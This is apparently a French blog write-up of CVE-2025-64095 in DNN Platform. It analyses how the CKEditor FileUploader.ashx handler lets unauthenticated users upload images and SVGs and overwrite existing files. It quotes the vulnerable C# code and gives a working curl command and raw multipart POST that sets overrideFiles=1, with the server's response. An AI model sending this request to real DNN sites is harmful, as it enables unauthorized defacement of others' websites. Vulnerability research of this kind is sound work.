
POC de contrôle d'accès insuffisant DNN - Le téléchargement d'image permet l'écrasement du contenu du site
POC du contrôle d'accès insuffisant de DNN - Le téléchargement d'images permet la réécriture du contenu du site
Je suis un homme simple, je vois cvss:10/10 et j'y vais xD
J'ai vu cette nouvelle CVE CVE-2025-64095 DNN Contrôle d'accès insuffisant - Le téléchargement d'images permet la réécriture du contenu du site
Le fournisseur d'éditeur HTML par défaut permet le téléchargement de fichiers sans authentification et les images peuvent écraser des fichiers existants.
Description Un utilisateur non authentifié peut télécharger et remplacer des fichiers existants, permettant de défigurer un site web et, combiné à d'autres problèmes, d'injecter des charges utiles XSS.
https://nvd.nist.gov/vuln/detail/CVE-2025-64095
Score de base : 10.0 CRITICAL 🤷♂️
Il s'avère finalement que ce n'est pas si critique, car vous ne pouvez pas télécharger une coquille web comme ASP, ASPX, etc. (dans la configuration par défaut au moins) vous ne pouvez télécharger que des images + SVG . vous ne pouvez télécharger/écrire que des fichiers existants sur le serveur web + dans un chemin spécifique, vous ne pouvez même pas télécharger un fichier dans le répertoire racine.
Comme toutes les versions antérieures à 10.1.1 sont vulnérables, j'ai pris DNN Platform 10.1.0 (la dernière version vulnérable)
La différence est un peu grande, je ne m'intéresse qu'au code lié au téléchargement de fichiers qui concerne Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx. J'ai donc concentré mes efforts sur la comparaison de ce fichier spécifique entre les versions pour comprendre ce qui (le cas échéant) a été corrigé dans la 10.1.1.
Laissez-moi vous expliquer ce que j'ai trouvé et comment j'ai découvert la vulnérabilité.
Quand j'ai commencé à examiner les deux versions, la différence globale montrait 158 fichiers modifiés entre DNN Platform 10.1.0 et 10.1.1. La plupart n'étaient que des améliorations - des espaces de noms par fichier. Mais je devais savoir si la vulnérabilité de téléchargement de fichiers avait été corrigée.
Le fichier vulnérable se trouve à Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs - c'est le gestionnaire de téléchargement de fichiers CKEditor. C'est une surface d'attaque courante pour les vulnérabilités de téléchargement de fichiers.
En regardant la méthode ProcessRequest dans la version 10.1.0 :
public void ProcessRequest(HttpContext context)
{
context.Response.AddHeader("Pragma", "no-cache");
context.Response.AddHeader("Cache-Control", "private, no-cache");
this.HandleMethod(context);
}
C'est tout. Il n'y a littéralement aucune vérification d'authentification. N'importe qui peut envoyer une requête à ce point de terminaison et télécharger des fichiers, pas de vérification de session, rien.
Le flux se déroule ainsi :
FileUploader.ashxProcessRequest est appeléeHandleMethod qui dirige vers UploadFileUploadFile appelle UploadWholeFileUploadWholeFile traite le téléchargement sans vérifier si l'utilisateur est connectéToute la logique de téléchargement se produit dans UploadWholeFile à partir de la ligne 230 environ. Laissez-moi vous montrer les parties critiques :
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
for (int i = 0; i < context.Request.Files.Count; i++)
{
var file = context.Request.Files[i];
var fileName = Path.GetFileName(file.FileName); // Ligne 236
// Convert Unicode Chars
fileName = Utility.ConvertUnicodeChars(fileName);
// Replace dots in the name with underscores (only one dot can be there... security issue).
fileName = Regex.Replace(fileName, @"\.(?![^.]*$), "_", RegexOptions.None);
// Check for Illegal Chars
if (Utility.ValidateFileName(fileName))
{
fileName = Utility.CleanFileName(fileName);
}
// ... plus de traitement ...
// Rename File if Exists
if (!this.OverrideFiles) // Ligne 268
{
var counter = 0;
while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
{
counter++;
fileName = string.Format("{0}_{1}{2}", fileNameNoExtenstion, counter, Path.GetExtension(file.FileName));
}
}
var contentType = FileContentTypeManager.Instance.GetContentType(Path.GetExtension(fileName));
var userId = UserController.Instance.GetCurrentUserInfo().UserID; // Ligne 284 - obtient userId mais jamais vérifié !
if (!contentType.StartsWith("image", StringComparison.InvariantCultureIgnoreCase))
{
FileManager.Instance.AddFile(this.StorageFolder, fileName, file.InputStream, this.OverrideFiles, true, contentType, userId);
}
else
{
// Logique de redimensionnement d'image suit...
}
}
}
Remarquez qu'à la ligne 284, ils appellent UserController.Instance.GetCurrentUserInfo() pour obtenir l'userId, mais ils ne vérifient jamais réellement si l'utilisateur est authentifié. Si vous n'êtes pas connecté, cela retourne simplement un utilisateur nul ou anonyme, mais le téléchargement continue quand même.
Remarquez aussi la propriété OverrideFiles à la ligne 268 :
private bool OverrideFiles =>
HttpContext.Current.Request["overrideFiles"].Equals("1")
|| HttpContext.Current.Request["overrideFiles"].Equals("true", StringComparison.InvariantCultureIgnoreCase);
C'est un paramètre contrôlé par l'utilisateur ! N'importe qui peut définir overrideFiles=1 dans sa requête de téléchargement et écraser des fichiers existants.
J'ai testé cela en fabriquant une simple commande curl :
C:\Users\pwn\Desktop>curl -x http://127.0.0.1:8080 -X POST http://mysite.dnndev.me/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx -F "[email protected]" -F "storageFolderID=1" -F "portalID=0" -F "overrideFiles=1" -F "mode=Default"
[{"group":null,"name":"poc.png","type":"image/png","size":0,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
requête POST brute
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx HTTP/1.1
Host: mysite.dnndev.me
User-Agent: curl/8.13.0
Accept: */*
Content-Length: 626
Content-Type: multipart/form-data; boundary=------------------------7RKjWLYyrhvUn2AA31fJQ3
Connection: keep-alive
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="file"; filename="poc.png"
Content-Type: image/png
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="storageFolderID"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="portalID"
0
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="overrideFiles"
1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="mode"
Default
--------------------------7RKjWLYyrhvUn2AA31fJQ3--
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 194
[{"group":null,"name":"poc.png","type":"image/png","size":10,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
